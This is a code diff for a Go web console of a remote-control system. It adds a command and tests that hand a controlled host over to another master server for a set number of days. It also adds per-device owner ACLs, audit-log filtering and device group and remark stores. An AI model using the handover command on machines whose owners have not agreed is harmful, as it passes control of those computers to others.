// The client stores the target plus a deadline and goes back to the master it
// captured at startup when the deadline passes — the Go server does not take
// part in the restore. See common/host_transfer.h.
CommandAssignMaster byte = 207
ShareTypeYamaForever byte = 100 // SHARE_TYPE_YAMA_FOREVER — "transfer", not "share"
// TransferTransport* are the clients' CONNECT_ADDRESS.protoType values
// (common/commands.h): PROTO_TCP=0, PROTO_WS=5, PROTO_WSS=6. They travel in
// the assign-master payload's transport segment.
TransferTransportTCP int = 0
TransferTransportWS int = 5
TransferTransportWSS int = 6
// Client -> Server tokens
TokenAuth byte = 100 // TOKEN_AUTH - authorization required
TokenHeartbeat byte = 101 // TOKEN_HEARTBEAT
@@ -705,3 +720,29 @@ func BuildValidation(days float64, admin string, port int, maxDepth uint16) []by
return data
}
// BuildAssignMasterPacket encodes a "transfer this host to another master"
// command, byte-compatible with the MFC server's assignFunction
// (server/2015Remote/2015RemoteDlg.cpp):
//
// [COMMAND_ASSIGN_MASTER][SHARE_TYPE_YAMA_FOREVER]host:port:days::transport\0
//
// The shine segment stays empty: the header-encryption variant is not
// something this server can know better than the host, and clients rotate it
// when a login is rejected (client/IOCPClient.h). The transport segment is
// always sent, because an absent segment does **not** mean "plain TCP" to the
// clients — they keep the link they run today (client/ClientDll.cpp
// ApplyAssignedMaster, common/host_endpoint.h ApplyEndpoint). A host that
// talks WSS to this server would then try WSS against the MFC master's raw TCP
// port and never connect. The caller picks the transport; TCP (0) matches what
// an MFC master listens on. days is formatted without trailing zeros so "0.5"
// survives the round trip.
func BuildAssignMasterPacket(host string, port int, days float64, transport int) []byte {
payload := host + ":" + strconv.Itoa(port) + ":" + strconv.FormatFloat(days, 'f', -1, 64) +
"::" + strconv.Itoa(transport)
pkt := make([]byte, 0, 2+len(payload)+1)
pkt = append(pkt, CommandAssignMaster, ShareTypeYamaForever)
pkt = append(pkt, payload...)
pkt = append(pkt, 0) // clients parse the payload as a C string
return pkt
}
+32
View File
@@ -103,3 +103,35 @@ func isCommandTokenName(name string) bool {
strings.HasPrefix(name, "Token") ||
strings.HasPrefix(name, "Cmd")
}
// The assign-master payload must stay byte-compatible with the MFC master's
// assignFunction, otherwise the client parses the wrong fields: days keeps
// fractions ("0.5" for a half-day handover) and the string is NUL-terminated
// because both clients read it as a C string. The shine segment is empty
// (clients then keep their header-encryption variant) while the transport
// segment is always present — without it the clients would keep the link they
// run today, which is exactly the WSS-vs-TCP mismatch that made the transfer
// unreachable.
func TestBuildAssignMasterPacket(t *testing.T) {
cases := []struct {
host string
port int
days float64
transport int
want string
}{
{"mfc.example", 6544, 1, TransferTransportTCP, "mfc.example:6544:1::0\x00"},
{"10.0.0.5", 6543, 0.5, TransferTransportTCP, "10.0.0.5:6543:0.5::0\x00"},
{"mfc.example", 6544, 2.25, TransferTransportWS, "mfc.example:6544:2.25::5\x00"},
{"mfc.example", 6544, 1, TransferTransportWSS, "mfc.example:6544:1::6\x00"},
}
for _, tc := range cases {
got := BuildAssignMasterPacket(tc.host, tc.port, tc.days, tc.transport)
if len(got) < 2 || got[0] != CommandAssignMaster || got[1] != ShareTypeYamaForever {
t.Fatalf("header = %v, want [%d %d]", got[:2], CommandAssignMaster, ShareTypeYamaForever)
}
if string(got[2:]) != tc.want {
t.Fatalf("payload = %q, want %q", got[2:], tc.want)
}
}
}
+9 -4
View File
@@ -32,10 +32,15 @@ const (
auditClipGet = "remote.clipboard.get"
auditRdpReset = "remote.rdp_reset"
auditUserCreate = "admin.user.create"
auditUserDelete = "admin.user.delete"
auditDeviceAdmin = "admin.device.delete"
auditQuery = "admin.audit.query"
auditUserCreate = "admin.user.create"
auditUserDelete = "admin.user.delete"
auditDeviceAdmin = "admin.device.delete"
auditDeviceTransfer = "admin.device.transfer"
auditDeviceBind = "admin.device.bind"
auditDeviceUnbind = "admin.device.unbind"
auditDeviceRemark = "admin.device.remark"
auditDeviceGroup = "admin.device.group"
auditQuery = "admin.audit.query"
)
// audit emits one audit record for a WebSocket client. Identity fields are
+13
View File
@@ -32,6 +32,19 @@ func (h *wsHub) handleQueryAudit(c *wsClient, raw []byte) {
in.Limit = auditquery.ClampLimit(in.Limit, auditQueryMaxLimit)
in.Offset = auditquery.ClampOffset(in.Offset)
// The audit trail is another visibility channel for devices. An admin-role
// user may see public devices and their own, but not another user's bound
// devices; the superadmin sees everything. One owner snapshot per query
// keeps the scanner off the ACL lock per record.
if h.acl != nil && !c.isSuperAdmin() {
owners := h.acl.Owners()
user := c.user
in.DeviceAllowed = func(deviceID string) bool {
owner := owners[deviceID]
return owner == "" || owner == user
}
}
path := h.log.AuditPath()
if path == "" {
h.audit(c, true, auditQuery, map[string]any{
+69
View File
@@ -100,6 +100,75 @@ func TestQueryAuditHandlerReturnsEvents(t *testing.T) {
}
}
// An admin-role user may read public-device audit records and their own, but
// not records naming another user's bound device. The superadmin sees all.
func TestQueryAuditHandlerFiltersBoundDevices(t *testing.T) {
dir := t.TempDir()
lg := logger.New(logger.Config{
Level: logger.LevelInfo,
Console: false,
File: filepath.Join(dir, "server.log"),
AuditFile: filepath.Join(dir, "audit.log"),
})
t.Cleanup(func() { _ = lg.Close() })
acl := NewDeviceACL(filepath.Join(dir, "device_acl.json"))
if err := acl.Bind([]string{"1001"}, "alice@corp.com", "admin"); err != nil {
t.Fatalf("bind 1001: %v", err)
}
if err := acl.Bind([]string{"1002"}, "bob@corp.com", "admin"); err != nil {
t.Fatalf("bind 1002: %v", err)
}
wh := newWSHub(wsauth.New(), hub.New(), nil, lg).withDeviceACL(acl)
t.Cleanup(wh.stop)
wh.log.Audit("remote.screen.start", map[string]any{"device_id": "1001"})
wh.log.Audit("remote.screen.start", map[string]any{"device_id": "1002"})
wh.log.Audit("remote.screen.start", map[string]any{"device_id": "1003"}) // public
wh.log.Audit("mcp.tool.call", map[string]any{"device": "1001"})
wh.log.Audit("admin.device.bind", map[string]any{"devices": []string{"1001"}, "owner": "alice@corp.com"})
query := func(user string) string {
t.Helper()
c, tok := aclTestClient(t, wh, user, "admin")
raw, _ := json.Marshal(map[string]any{"token": tok, "limit": 50})
wh.handleQueryAudit(c, raw)
msg := readUntilCmd(t, c, "audit_result")
if msg["ok"] != true {
t.Fatalf("%s: reply = %+v", user, msg)
}
events, _ := json.Marshal(msg["events"])
return string(events)
}
alice := query("alice@corp.com")
for _, want := range []string{`"device_id":"1001"`, `"device_id":"1003"`, `"device":"1001"`, `"devices":["1001"]`} {
if !strings.Contains(alice, want) {
t.Fatalf("alice events missing %s: %s", want, alice)
}
}
if strings.Contains(alice, `"device_id":"1002"`) {
t.Fatalf("alice saw bob's bound device: %s", alice)
}
bob := query("bob@corp.com")
if !strings.Contains(bob, `"device_id":"1002"`) {
t.Fatalf("bob events missing his own device: %s", bob)
}
for _, leak := range []string{`"device_id":"1001"`, `"device":"1001"`, `"devices":["1001"]`} {
if strings.Contains(bob, leak) {
t.Fatalf("bob saw alice's bound device record %s: %s", leak, bob)
}
}
super := query("admin")
for _, want := range []string{`"device_id":"1001"`, `"device_id":"1002"`, `"device":"1001"`, `"devices":["1001"]`} {
if !strings.Contains(super, want) {
t.Fatalf("superadmin events missing %s: %s", want, super)
}
}
}
func TestQueryAuditHandlerDisabledFile(t *testing.T) {
dir := t.TempDir()
wh, _ := newAuditTestHubWithoutAuditFile(t, dir)
+252
View File
@@ -0,0 +1,252 @@
package web
import (
"encoding/json"
"fmt"
"os"
"path/filepath"
"strings"
"sync"
"time"
)
// DeviceACLEntry is one device-to-owner binding.
type DeviceACLEntry struct {
Owner string `json:"owner"`
UpdatedAt time.Time `json:"updated_at"`
UpdatedBy string `json:"updated_by,omitempty"`
}
// deviceACLFile is the on-disk shape of device_acl.json. Version is reserved
// for future migrations; v1 is a flat deviceID -> owner map.
type deviceACLFile struct {
Version int `json:"version"`
Devices map[string]DeviceACLEntry `json:"devices"`
}
// DeviceACL is the per-device owner table used by the web console. A device
// with no entry is "public": admin-role users may see and control it, viewers
// may not. A device with an owner is visible/controllable only by that owner
// (plus the built-in superadmin).
//
// The table is process-local and persisted atomically to Path. An empty Path
// disables persistence (tests).
type DeviceACL struct {
mu sync.RWMutex
path string
entries map[string]DeviceACLEntry
}
// NewDeviceACL returns an empty table backed by path.
func NewDeviceACL(path string) *DeviceACL {
return &DeviceACL{path: path, entries: make(map[string]DeviceACLEntry)}
}
// Load reads Path into memory. A missing file is an empty table. A malformed
// file is returned as an error: silently starting with no bindings would turn
// every private device public, so the caller must fail closed.
func (a *DeviceACL) Load() error {
if a.path == "" {
return nil
}
data, err := os.ReadFile(a.path)
if err != nil {
if os.IsNotExist(err) {
return nil
}
return fmt.Errorf("read %s: %w", a.path, err)
}
var f deviceACLFile
if err := json.Unmarshal(data, &f); err != nil {
return fmt.Errorf("parse %s: %w", a.path, err)
}
entries := make(map[string]DeviceACLEntry, len(f.Devices))
for id, e := range f.Devices {
id = strings.TrimSpace(id)
e.Owner = strings.TrimSpace(e.Owner)
if id == "" || e.Owner == "" {
continue
}
entries[id] = e
}
a.mu.Lock()
a.entries = entries
a.mu.Unlock()
return nil
}
// deviceAllowed is the single visibility rule shared by the WebSocket handlers
// and the REST device list:
//
// acl == nil -> legacy: every authenticated session
// username == admin -> superadmin: every device
// unbound device -> admin role only (shared public pool)
// bound device -> its owner only (plus superadmin)
func deviceAllowed(acl *DeviceACL, username, role, deviceID string) bool {
if deviceID == "" {
return false
}
if acl == nil {
return true
}
if role == "admin" && username == "admin" {
return true
}
owner := acl.Owner(deviceID)
if owner == "" {
return role == "admin"
}
return username != "" && username == owner
}
// Owner returns the owner of deviceID, or "" when the device is public.
func (a *DeviceACL) Owner(deviceID string) string {
if a == nil {
return ""
}
a.mu.RLock()
defer a.mu.RUnlock()
return a.entries[deviceID].Owner
}
// Owners returns a copy of the deviceID -> owner map. Callers that check many
// ids in a loop (the audit scanner walks up to 32 MB of records) take this
// snapshot once instead of taking the read lock per record, so a concurrent
// bind's file fsync cannot sit between their checks.
func (a *DeviceACL) Owners() map[string]string {
if a == nil {
return map[string]string{}
}
a.mu.RLock()
defer a.mu.RUnlock()
out := make(map[string]string, len(a.entries))
for id, e := range a.entries {
out[id] = e.Owner
}
return out
}
// Snapshot returns a copy of the table (for admin listings/tests).
func (a *DeviceACL) Snapshot() map[string]DeviceACLEntry {
if a == nil {
return map[string]DeviceACLEntry{}
}
a.mu.RLock()
defer a.mu.RUnlock()
out := make(map[string]DeviceACLEntry, len(a.entries))
for id, e := range a.entries {
out[id] = e
}
return out
}
// Bind assigns owner to every device in ids. On persistence failure the
// in-memory table is rolled back so it never claims a binding that would not
// survive a restart.
func (a *DeviceACL) Bind(ids []string, owner, actor string) error {
owner = strings.TrimSpace(owner)
if owner == "" {
return fmt.Errorf("empty owner")
}
a.mu.Lock()
defer a.mu.Unlock()
prev := make(map[string]DeviceACLEntry, len(ids))
now := time.Now().UTC()
changed := false
for _, id := range ids {
id = strings.TrimSpace(id)
if id == "" {
continue
}
prev[id] = a.entries[id]
a.entries[id] = DeviceACLEntry{Owner: owner, UpdatedAt: now, UpdatedBy: actor}
changed = true
}
if !changed {
return fmt.Errorf("no device ids")
}
if err := a.saveLocked(); err != nil {
for id, e := range prev {
if e.Owner == "" {
delete(a.entries, id)
} else {
a.entries[id] = e
}
}
return err
}
return nil
}
// Unbind removes the binding for every device in ids (idempotent).
func (a *DeviceACL) Unbind(ids []string) error {
a.mu.Lock()
defer a.mu.Unlock()
prev := make(map[string]DeviceACLEntry, len(ids))
for _, id := range ids {
id = strings.TrimSpace(id)
if id == "" {
continue
}
if e, ok := a.entries[id]; ok {
prev[id] = e
delete(a.entries, id)
}
}
if len(prev) == 0 {
return nil
}
if err := a.saveLocked(); err != nil {
for id, e := range prev {
a.entries[id] = e
}
return err
}
return nil
}
// Remove drops the binding for one device (called when the device record is
// deleted, so a future client reusing the same ID cannot inherit it).
func (a *DeviceACL) Remove(deviceID string) error {
return a.Unbind([]string{deviceID})
}
// saveLocked writes the table via a temp file + rename. Caller holds a.mu.
func (a *DeviceACL) saveLocked() error {
if a.path == "" {
return nil
}
f := deviceACLFile{Version: 1, Devices: a.entries}
data, err := json.MarshalIndent(f, "", " ")
if err != nil {
return fmt.Errorf("encode device acl: %w", err)
}
dir := filepath.Dir(a.path)
if dir == "" {
dir = "."
}
tmp, err := os.CreateTemp(dir, ".device_acl-*.tmp")
if err != nil {
return fmt.Errorf("create temp acl: %w", err)
}
tmpName := tmp.Name()
defer func() { _ = os.Remove(tmpName) }() // no-op after a successful rename
if _, err := tmp.Write(data); err != nil {
_ = tmp.Close()
return fmt.Errorf("write temp acl: %w", err)
}
if err := tmp.Sync(); err != nil {
_ = tmp.Close()
return fmt.Errorf("sync temp acl: %w", err)
}
if err := tmp.Close(); err != nil {
return fmt.Errorf("close temp acl: %w", err)
}
if err := os.Rename(tmpName, a.path); err != nil {
return fmt.Errorf("rename acl: %w", err)
}
return nil
}
+103
View File
@@ -0,0 +1,103 @@
package web
import (
"os"
"path/filepath"
"testing"
)
func TestDeviceACLPersistAndReload(t *testing.T) {
path := filepath.Join(t.TempDir(), "device_acl.json")
a := NewDeviceACL(path)
if err := a.Bind([]string{"dev1", "dev2"}, "a@corp.com", "admin"); err != nil {
t.Fatalf("Bind: %v", err)
}
if got := a.Owner("dev1"); got != "a@corp.com" {
t.Fatalf("Owner(dev1) = %q", got)
}
reloaded := NewDeviceACL(path)
if err := reloaded.Load(); err != nil {
t.Fatalf("Load: %v", err)
}
if got := reloaded.Owner("dev2"); got != "a@corp.com" {
t.Fatalf("reloaded Owner(dev2) = %q", got)
}
if got := reloaded.Owner("dev3"); got != "" {
t.Fatalf("reloaded Owner(dev3) = %q, want empty", got)
}
if err := reloaded.Unbind([]string{"dev1"}); err != nil {
t.Fatalf("Unbind: %v", err)
}
again := NewDeviceACL(path)
if err := again.Load(); err != nil {
t.Fatalf("Load after unbind: %v", err)
}
if got := again.Owner("dev1"); got != "" {
t.Fatalf("Owner(dev1) after unbind = %q", got)
}
if got := again.Owner("dev2"); got != "a@corp.com" {
t.Fatalf("Owner(dev2) after unbind = %q", got)
}
if err := again.Remove("dev2"); err != nil {
t.Fatalf("Remove: %v", err)
}
final := NewDeviceACL(path)
if err := final.Load(); err != nil {
t.Fatalf("Load after remove: %v", err)
}
if got := final.Snapshot(); len(got) != 0 {
t.Fatalf("snapshot = %+v, want empty", got)
}
}
func TestDeviceACLMalformedFileIsAnError(t *testing.T) {
path := filepath.Join(t.TempDir(), "device_acl.json")
if err := os.WriteFile(path, []byte("{not json"), 0o600); err != nil {
t.Fatalf("WriteFile: %v", err)
}
if err := NewDeviceACL(path).Load(); err == nil {
t.Fatal("Load accepted a malformed file; private devices would become public")
}
}
func TestDeviceAllowedMatrix(t *testing.T) {
acl := NewDeviceACL("")
if err := acl.Bind([]string{"a-dev"}, "a@corp.com", "admin"); err != nil {
t.Fatalf("Bind: %v", err)
}
if err := acl.Bind([]string{"b-dev"}, "b@corp.com", "admin"); err != nil {
t.Fatalf("Bind: %v", err)
}
tests := []struct {
name string
acl *DeviceACL
username string
role string
device string
want bool
}{
{"nil acl legacy allows all", nil, "any", "viewer", "pub", true},
{"superadmin sees public", acl, "admin", "admin", "pub", true},
{"superadmin sees bound", acl, "admin", "admin", "a-dev", true},
{"admin sees public", acl, "c@corp.com", "admin", "pub", true},
{"admin blocked on other's device", acl, "c@corp.com", "admin", "a-dev", false},
{"owner sees own device", acl, "a@corp.com", "admin", "a-dev", true},
{"owner blocked on other's device", acl, "a@corp.com", "admin", "b-dev", false},
{"viewer sees no public device", acl, "v@corp.com", "viewer", "pub", false},
{"viewer sees own device", acl, "a@corp.com", "viewer", "a-dev", true},
{"empty username blocked", acl, "", "viewer", "a-dev", false},
{"empty device blocked", acl, "admin", "admin", "", false},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
if got := deviceAllowed(tt.acl, tt.username, tt.role, tt.device); got != tt.want {
t.Fatalf("deviceAllowed(%q,%q,%q) = %v, want %v",
tt.username, tt.role, tt.device, got, tt.want)
}
})
}
}
+251
View File
@@ -0,0 +1,251 @@
package web
import (
"encoding/json"
"fmt"
"os"
"path/filepath"
"strings"
"sync"
"time"
"unicode/utf8"
)
// MaxGroupRunes bounds the per-device group label. The Win32 server's
// "regroup host" dialog rejects names of 24 characters or more (the command
// payload is a fixed 50-byte buffer); the Go console keeps the same limit so
// a group name written here can also be handed to the client later.
const MaxGroupRunes = 23
// DeviceGroupEntry is one web-console group override.
type DeviceGroupEntry struct {
Group string `json:"group"`
UpdatedAt time.Time `json:"updated_at"`
UpdatedBy string `json:"updated_by,omitempty"`
}
// deviceGroupsFile is the on-disk shape of device_groups.json. Version is
// reserved for future migrations; v1 is a flat deviceID -> group map.
type deviceGroupsFile struct {
Version int `json:"version"`
Devices map[string]DeviceGroupEntry `json:"devices"`
}
// DeviceGroups is the per-device group table used by the Go web console. A
// device with no entry keeps the group it reported at login; an entry
// overrides that group for every Go-side view (device list, group filter,
// MCP), works for offline records too, and survives restarts.
//
// It deliberately does NOT write CMD_SET_GROUP to the client: the host keeps
// reporting its own group to other masters. An empty Path disables
// persistence (tests).
type DeviceGroups struct {
mu sync.RWMutex
path string
entries map[string]DeviceGroupEntry
// loadErr records why Load failed. While set, Set/Remove refuse to write:
// persisting the in-memory (empty) table would replace the unreadable file
// and destroy every override it still holds.
loadErr error
}
// NewDeviceGroups returns an empty table backed by path.
func NewDeviceGroups(path string) *DeviceGroups {
return &DeviceGroups{path: path, entries: make(map[string]DeviceGroupEntry)}
}
// Load reads Path into memory. A missing file is an empty table. A malformed
// file (or one written by a newer version) is returned as an error and leaves
// the table write-disabled so the unreadable file survives for recovery.
func (g *DeviceGroups) Load() error {
if g.path == "" {
return nil
}
data, err := os.ReadFile(g.path)
if err != nil {
if os.IsNotExist(err) {
return nil
}
return g.failLoad(fmt.Errorf("read %s: %w", g.path, err))
}
var f deviceGroupsFile
if err := json.Unmarshal(data, &f); err != nil {
return g.failLoad(fmt.Errorf("parse %s: %w", g.path, err))
}
if f.Version > deviceGroupsFileVersion {
return g.failLoad(fmt.Errorf("unsupported %s version %d (this server writes %d)",
g.path, f.Version, deviceGroupsFileVersion))
}
entries := make(map[string]DeviceGroupEntry, len(f.Devices))
for id, e := range f.Devices {
id = strings.TrimSpace(id)
e.Group = capRunes(sanitizeLabel(e.Group), MaxGroupRunes)
if id == "" || e.Group == "" {
continue
}
entries[id] = e
}
g.mu.Lock()
g.entries = entries
g.loadErr = nil
g.mu.Unlock()
return nil
}
// deviceGroupsFileVersion is the on-disk format we write. A file from a newer
// version is refused instead of being read as v1 and overwritten.
const deviceGroupsFileVersion = 1
// failLoad records the reason writes are disabled and returns it.
func (g *DeviceGroups) failLoad(err error) error {
g.mu.Lock()
g.loadErr = err
g.mu.Unlock()
return err
}
// Group returns the override for deviceID, or "" when the device keeps the
// group it reported.
func (g *DeviceGroups) Group(deviceID string) string {
if g == nil {
return ""
}
g.mu.RLock()
defer g.mu.RUnlock()
return g.entries[deviceID].Group
}
// Groups returns a copy of the deviceID -> group map. Callers that look up
// many devices in one pass take this snapshot instead of a read lock per
// device.
func (g *DeviceGroups) Groups() map[string]string {
if g == nil {
return map[string]string{}
}
g.mu.RLock()
defer g.mu.RUnlock()
out := make(map[string]string, len(g.entries))
for id, e := range g.entries {
out[id] = e.Group
}
return out
}
// Snapshot returns a copy of the table (for logs and tests).
func (g *DeviceGroups) Snapshot() map[string]DeviceGroupEntry {
if g == nil {
return map[string]DeviceGroupEntry{}
}
g.mu.RLock()
defer g.mu.RUnlock()
out := make(map[string]DeviceGroupEntry, len(g.entries))
for id, e := range g.entries {
out[id] = e
}
return out
}
// Set stores group for deviceID. An empty group clears the override (the
// device falls back to the group it reports). Control characters are folded to
// spaces, the result is trimmed, and more than MaxGroupRunes runes is
// rejected. On persistence failure the in-memory table is rolled back.
func (g *DeviceGroups) Set(deviceID, group, actor string) error {
deviceID = strings.TrimSpace(deviceID)
if deviceID == "" {
return fmt.Errorf("empty device id")
}
group = sanitizeLabel(group)
if utf8.RuneCountInString(group) > MaxGroupRunes {
return fmt.Errorf("group is too long (max %d characters)", MaxGroupRunes)
}
g.mu.Lock()
defer g.mu.Unlock()
if g.loadErr != nil {
return fmt.Errorf("device groups unavailable: %w", g.loadErr)
}
prev, had := g.entries[deviceID]
if group == "" {
if !had {
return nil
}
delete(g.entries, deviceID)
} else {
g.entries[deviceID] = DeviceGroupEntry{Group: group, UpdatedAt: time.Now().UTC(), UpdatedBy: actor}
}
if err := g.saveLocked(); err != nil {
if had {
g.entries[deviceID] = prev
} else {
delete(g.entries, deviceID)
}
return err
}
return nil
}
// Remove drops the override of one device (idempotent). Called when the device
// record is deleted so a future client reusing the same ID cannot inherit the
// group.
func (g *DeviceGroups) Remove(deviceID string) error {
if g == nil {
return nil
}
deviceID = strings.TrimSpace(deviceID)
if deviceID == "" {
return nil
}
g.mu.Lock()
defer g.mu.Unlock()
if g.loadErr != nil {
return fmt.Errorf("device groups unavailable: %w", g.loadErr)
}
prev, ok := g.entries[deviceID]
if !ok {
return nil
}
delete(g.entries, deviceID)
if err := g.saveLocked(); err != nil {
g.entries[deviceID] = prev
return err
}
return nil
}
// saveLocked writes the table via a temp file + rename. Caller holds g.mu.
func (g *DeviceGroups) saveLocked() error {
if g.path == "" {
return nil
}
f := deviceGroupsFile{Version: deviceGroupsFileVersion, Devices: g.entries}
data, err := json.MarshalIndent(f, "", " ")
if err != nil {
return fmt.Errorf("encode device groups: %w", err)
}
dir := filepath.Dir(g.path)
if dir == "" {
dir = "."
}
tmp, err := os.CreateTemp(dir, ".device_groups-*.tmp")
if err != nil {
return fmt.Errorf("create temp groups: %w", err)
}
tmpName := tmp.Name()
defer func() { _ = os.Remove(tmpName) }() // no-op after a successful rename
if _, err := tmp.Write(data); err != nil {
_ = tmp.Close()
return fmt.Errorf("write temp groups: %w", err)
}
if err := tmp.Sync(); err != nil {
_ = tmp.Close()
return fmt.Errorf("sync temp groups: %w", err)
}
if err := tmp.Close(); err != nil {
return fmt.Errorf("close temp groups: %w", err)
}
if err := os.Rename(tmpName, g.path); err != nil {
return fmt.Errorf("rename groups: %w", err)
}
return nil
}
+230
View File
@@ -0,0 +1,230 @@
package web
import (
"encoding/json"
"os"
"path/filepath"
"slices"
"strings"
"testing"
"unicode/utf8"
)
// TestDeviceGroupsSetPersistClear covers the store: sanitize, save, reload,
// clear, the rune cap and the corrupt-file write protection.
func TestDeviceGroupsSetPersistClear(t *testing.T) {
path := filepath.Join(t.TempDir(), "device_groups.json")
groups := NewDeviceGroups(path)
if err := groups.Set("dev-1", " Office\nWest\t", "admin"); err != nil {
t.Fatalf("Set: %v", err)
}
if got := groups.Group("dev-1"); got != "Office West" {
t.Fatalf("Group = %q, want %q", got, "Office West")
}
reloaded := NewDeviceGroups(path)
if err := reloaded.Load(); err != nil {
t.Fatalf("Load: %v", err)
}
if got := reloaded.Group("dev-1"); got != "Office West" {
t.Fatalf("reloaded Group = %q, want %q", got, "Office West")
}
// The cap matches the Win32 regroup dialog (< 24 characters).
if err := groups.Set("dev-1", strings.Repeat("x", MaxGroupRunes+1), "admin"); err == nil {
t.Fatal("Set accepted an over-long group")
}
if err := groups.Set("dev-1", strings.Repeat("y", MaxGroupRunes), "admin"); err != nil {
t.Fatalf("Set at the limit: %v", err)
}
// An empty group clears the override.
if err := groups.Set("dev-1", " ", "admin"); err != nil {
t.Fatalf("clear: %v", err)
}
if got := groups.Group("dev-1"); got != "" {
t.Fatalf("Group after clear = %q, want empty", got)
}
// Groups() is the bulk snapshot callers take per listing; it must be a copy.
if err := groups.Set("dev-2", "Bulk", "admin"); err != nil {
t.Fatalf("Set dev-2: %v", err)
}
snap := groups.Groups()
if snap["dev-2"] != "Bulk" {
t.Fatalf("Groups()[dev-2] = %q, want %q", snap["dev-2"], "Bulk")
}
snap["dev-2"] = "mutated"
if got := groups.Group("dev-2"); got != "Bulk" {
t.Fatalf("mutating the snapshot changed the store: %q", got)
}
if err := groups.Remove("dev-2"); err != nil {
t.Fatalf("Remove: %v", err)
}
if err := groups.Remove("dev-2"); err != nil {
t.Fatalf("Remove twice: %v", err)
}
if got := groups.Group("dev-2"); got != "" {
t.Fatalf("Group after Remove = %q", got)
}
}
// TestDeviceGroupsBadFileRefusesWrites: an unparsable file must never be
// replaced by the first save.
func TestDeviceGroupsBadFileRefusesWrites(t *testing.T) {
path := filepath.Join(t.TempDir(), "device_groups.json")
bad := []byte("{not json")
if err := os.WriteFile(path, bad, 0644); err != nil {
t.Fatalf("seed: %v", err)
}
groups := NewDeviceGroups(path)
if err := groups.Load(); err == nil {
t.Fatal("Load accepted a malformed file")
}
if err := groups.Set("dev-1", "x", "admin"); err == nil {
t.Fatal("Set wrote over a file that failed to load")
}
if got, _ := os.ReadFile(path); string(got) != string(bad) {
t.Fatalf("original file was modified: %q", got)
}
}
// TestDeviceGroupsLoadAppliesInvariants: values read back from disk are
// sanitized and capped, so a restored file cannot break the card layout.
func TestDeviceGroupsLoadAppliesInvariants(t *testing.T) {
path := filepath.Join(t.TempDir(), "device_groups.json")
long := "Team\nA " + strings.Repeat("x", MaxGroupRunes)
data, err := json.Marshal(deviceGroupsFile{Version: deviceGroupsFileVersion,
Devices: map[string]DeviceGroupEntry{"dev-1": {Group: long}}})
if err != nil {
t.Fatalf("marshal: %v", err)
}
if err := os.WriteFile(path, data, 0644); err != nil {
t.Fatalf("seed: %v", err)
}
groups := NewDeviceGroups(path)
if err := groups.Load(); err != nil {
t.Fatalf("Load: %v", err)
}
got := groups.Group("dev-1")
if strings.ContainsAny(got, "\r\n\t") {
t.Fatalf("loaded group kept control characters: %q", got)
}
if n := utf8.RuneCountInString(got); n != MaxGroupRunes {
t.Fatalf("loaded group has %d runes, want %d", n, MaxGroupRunes)
}
}
// TestSetDeviceGroupHandler exercises the WebSocket path: the superadmin moves
// a host, device_list reports the override plus groupEdit, get_groups offers
// the new name, and clearing restores the reported group.
func TestSetDeviceGroupHandler(t *testing.T) {
wh, _, _ := aclTestHub(t)
groups := NewDeviceGroups(filepath.Join(t.TempDir(), "device_groups.json"))
wh.withDeviceGroups(groups)
c, tok := aclTestClient(t, wh, "admin", "admin")
send := func(id, group string) map[string]any {
raw, err := json.Marshal(map[string]any{"token": tok, "id": id, "group": group})
if err != nil {
t.Fatalf("marshal: %v", err)
}
wh.dispatch(c, "set_device_group", raw)
return readUntilCmd(t, c, "set_device_group_result")
}
res := send("pub", " Office\nWest ")
if res["ok"] != true {
t.Fatalf("set group failed: %v", res)
}
if res["group"] != "Office West" {
t.Fatalf("reply group = %v, want %q", res["group"], "Office West")
}
// device_list reports the override and the capability the menu keys off.
rawList, _ := json.Marshal(map[string]any{"token": tok})
wh.dispatch(c, "get_devices", rawList)
list := readUntilCmd(t, c, "device_list")
if list["groupEdit"] != true {
t.Fatalf("device_list groupEdit = %v, want true", list["groupEdit"])
}
found := false
for _, it := range list["devices"].([]any) {
m := it.(map[string]any)
if m["id"] == "pub" {
found = true
if m["group"] != "Office West" {
t.Fatalf("device_list group = %v, want override", m["group"])
}
}
}
if !found {
t.Fatal("device_list did not include the public device")
}
// get_groups offers the override name.
rawGroups, _ := json.Marshal(map[string]any{"token": tok})
wh.dispatch(c, "get_groups", rawGroups)
gr := readUntilCmd(t, c, "groups")
var names []string
for _, g := range gr["groups"].([]any) {
names = append(names, g.(string))
}
if !slices.Contains(names, "Office West") {
t.Fatalf("groups = %v, want the override included", names)
}
// The overridden device's stale reported group must not linger in the list.
if slices.Contains(names, "shared") {
t.Fatalf("groups = %v, want the overridden reported group omitted", names)
}
// A stale card (device deleted between render and save) must not create an
// orphan override.
if res := send("ghost-id", "Nowhere"); res["ok"] == true {
t.Fatalf("group override accepted for an unknown device: %v", res)
}
// Clearing restores the group the host reported.
res = send("pub", "")
if res["ok"] != true {
t.Fatalf("clear group failed: %v", res)
}
wh.dispatch(c, "get_devices", rawList)
list = readUntilCmd(t, c, "device_list")
for _, it := range list["devices"].([]any) {
m := it.(map[string]any)
if m["id"] == "pub" && m["group"] != "shared" {
t.Fatalf("group after clear = %v, want reported %q", m["group"], "shared")
}
}
}
// TestSetDeviceGroupPermissions: viewers cannot edit, and an admin that cannot
// see a private device cannot move it.
func TestSetDeviceGroupPermissions(t *testing.T) {
wh, _, _ := aclTestHub(t)
wh.withDeviceGroups(NewDeviceGroups(""))
attempt := func(c *wsClient, tok, id string) map[string]any {
raw, _ := json.Marshal(map[string]any{"token": tok, "id": id, "group": "x"})
wh.dispatch(c, "set_device_group", raw)
return readUntilCmd(t, c, "set_device_group_result")
}
cv, tokv := aclTestClient(t, wh, "viewer1", "viewer")
if res := attempt(cv, tokv, "pub"); res["ok"] == true {
t.Fatal("viewer was allowed to move a host")
}
ca, toka := aclTestClient(t, wh, "other-admin", "admin")
if res := attempt(ca, toka, "a-dev"); res["ok"] == true {
t.Fatal("admin without device access was allowed to move a host")
}
cs, toks := aclTestClient(t, wh, "admin", "admin")
if res := attempt(cs, toks, "a-dev"); res["ok"] != true {
t.Fatalf("superadmin was refused: %v", res)
}
}
+275
View File
@@ -0,0 +1,275 @@
package web
import (
"encoding/json"
"fmt"
"os"
"path/filepath"
"strings"
"sync"
"time"
"unicode"
"unicode/utf8"
)
// MaxRemarkRunes bounds the per-device remark. The card renders it next to
// the computer name ("host (remark)"), so this is a label, not a note field:
// long enough for "Reception PC - 3rd floor", short enough to keep the card
// intact.
const MaxRemarkRunes = 64
// deviceNotesFileVersion is the on-disk format we write. A file from a newer
// version is refused instead of being read as v1 and overwritten.
const deviceNotesFileVersion = 1
// DeviceNoteEntry is one device remark.
type DeviceNoteEntry struct {
Note string `json:"note"`
